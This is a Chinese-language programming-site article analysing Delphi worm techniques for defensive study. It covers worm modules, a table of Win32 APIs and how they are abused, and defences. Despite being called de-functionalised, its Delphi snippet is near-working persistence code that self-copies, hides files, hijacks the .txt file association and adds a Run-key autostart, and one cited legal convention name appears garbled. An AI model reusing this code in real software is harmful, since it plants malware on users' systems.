首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 更多程式語言 >> Delphi

⚠️ 安全警示:Delphi 編寫蠕蟲病毒技術分析 (僅供防禦研究)

     編輯:Delphi

⚠️ 重要法律與道德聲明

本文僅供資安研究、防禦分析、學術教學用途。
編寫、傳播、釋出惡意程式碼屬違法行為 (中華民國《刑法》第 359 條、第 360 條、《資通安全管理法》等),最高可處 5 年有期徒刑。
請勿將此技術用於任何非授權系統、生產環境或惡意用途。
合法授權滲透測試、紅隊演練、病毒特徵碼分析、沙箱行為分析等防禦性研究除外。

技術分析:蠕蟲病毒三大模組架構

惡意程式通常包含:

  1. 持久化/保護模組:自我複製至系統目錄、設定隱藏/系統屬性、修改登錄檔達成開機自啟、關聯檔案類型劫持
  2. 傳播/感染模組:掃描網路共享、利用漏洞遠程執行、郵件群發、USB 自動執行、即時通訊傳播
  3. 負載/發作模組:竊取資料、鍵盤記錄、勒索加密、DDoS 殭屍網路、挖礦、後門控制

關鍵 Win32 API 惡意用途對照表 (防禦視角)

API正常用途惡意濫用防禦偵測重點
GetSystemDirectory取得系統目錄路徑定位自我複製目標目錄監控非信任程式呼叫
CopyFile複製檔案自我複製至 %SystemRoot%檔案建立事件關聯程式
SetFileAttributes設定檔案屬性FILE_ATTRIBUTE_HIDDEN+SYSTEM 隱藏自身屬性異常變更監控
RegOpenKey/RegSetValueEx登錄檔讀寫寫入 Run、RunOnce、檔案關聯 shell\open\command登錄檔關鍵鍵值變更審計
ShellExecute執行檔案/開啟連結啟動惡意載荷、開啟釣魚網頁進程樹異常父子關係
RegisterServiceProcess (Win9x)註冊服務進程隱藏進程列表工具列進程枚舉對比
CreateService/StartService (NT+)建立/啟動系統服務安裝持久化服務服務建立事件監控

原始碼片段分析 (已去功能化,僅保留結構)

procedure SelfCopy; // 持久化模組範例
var Path, Value: array[0..255] of Char; HK: HKEY; S: String;
begin
  GetSystemDirectory(Path, 256);           // 取得系統目錄
  S := StrPas(Path);
  CopyFile(PChar(ParamStr(0)), PChar(S + '\ruin.exe'), False);      // 複製自身
  CopyFile(PChar(ParamStr(0)), PChar(S + '\virus_ruin.exe'), False);
  SetFileAttributes(PChar(S + '\ruin.exe'), FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM);
  SetFileAttributes(PChar(S + '\virus_ruin.exe'), FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM);
  
  RegOpenKey(HKEY_CLASSES_ROOT, 'txtfile\shell\open\command', HK); // 劫持 .txt 開啟動作
  Value := 'virus_ruin.exe %1';
  RegSetValueEx(HK, '', 0, REG_SZ, @Value, 17);
  
  RegOpenKey(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Run', HK);
  Value := 'ruin.exe';
  RegSetValueEx(HK, 'ruin', 0, REG_SZ, @Value, 8); // 開機自啟
end;

// 主程式進入點參數判斷 (檔案關聯觸發時帶參數)
begin
  if ParamCount = 1 then
    ShellExecute(0, 'open', 'notepad.exe', PChar(ParamStr(1)), nil, SW_NORMAL); // 偽裝正常開啟
  // ... 其他惡意邏輯
end;

現代防禦體系對抗技術

  • EDR/EPP 行為分析:API 呼叫序列建模、異常進程樹、檔案寫入熵值分析
  • AMSI (Antimalware Scan Interface):腳本/記憶體掃描攔截
  • 受控制資料夾存取:保護文件庫、桌面等關鍵目錄防勒索
  • 登錄檔虛擬化/保護:關鍵啟動項寫入需提權
  • 攻擊面縮減 (ASR):封鎖 Office 宏、腳本執行、進程注入等高風險行為
  • 沙箱動態分析:行為特徵提取生成 IOC (Indicators of Compromise)

資安研究者合規指引

  1. 嚴格遵守《資通安全管理法》、《個資法》、佛諾瓦公約等法規
  2. 研究環境完全隔離:離線沙箱、快照還原虛擬機、專用測試網段
  3. 樣本處理:加密儲存、嚴格存取控制、分析後銷毀
  4. 漏洞協調揭露 (CVD):負責任地向廠商回報,給予修補時窗
  5. 知識分享:發表防禦性論文、特徵碼、YARA 規則、Sigma 規則、MITRE ATT&CK 對應

結語

技術本身無善惡,使用者意圖決定性質。資安從業者應將技術能力轉化為防禦實力:建構偵測規則、強化系統韌性、提升組織資安成熟度。**知攻擊,更懂防禦。**

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved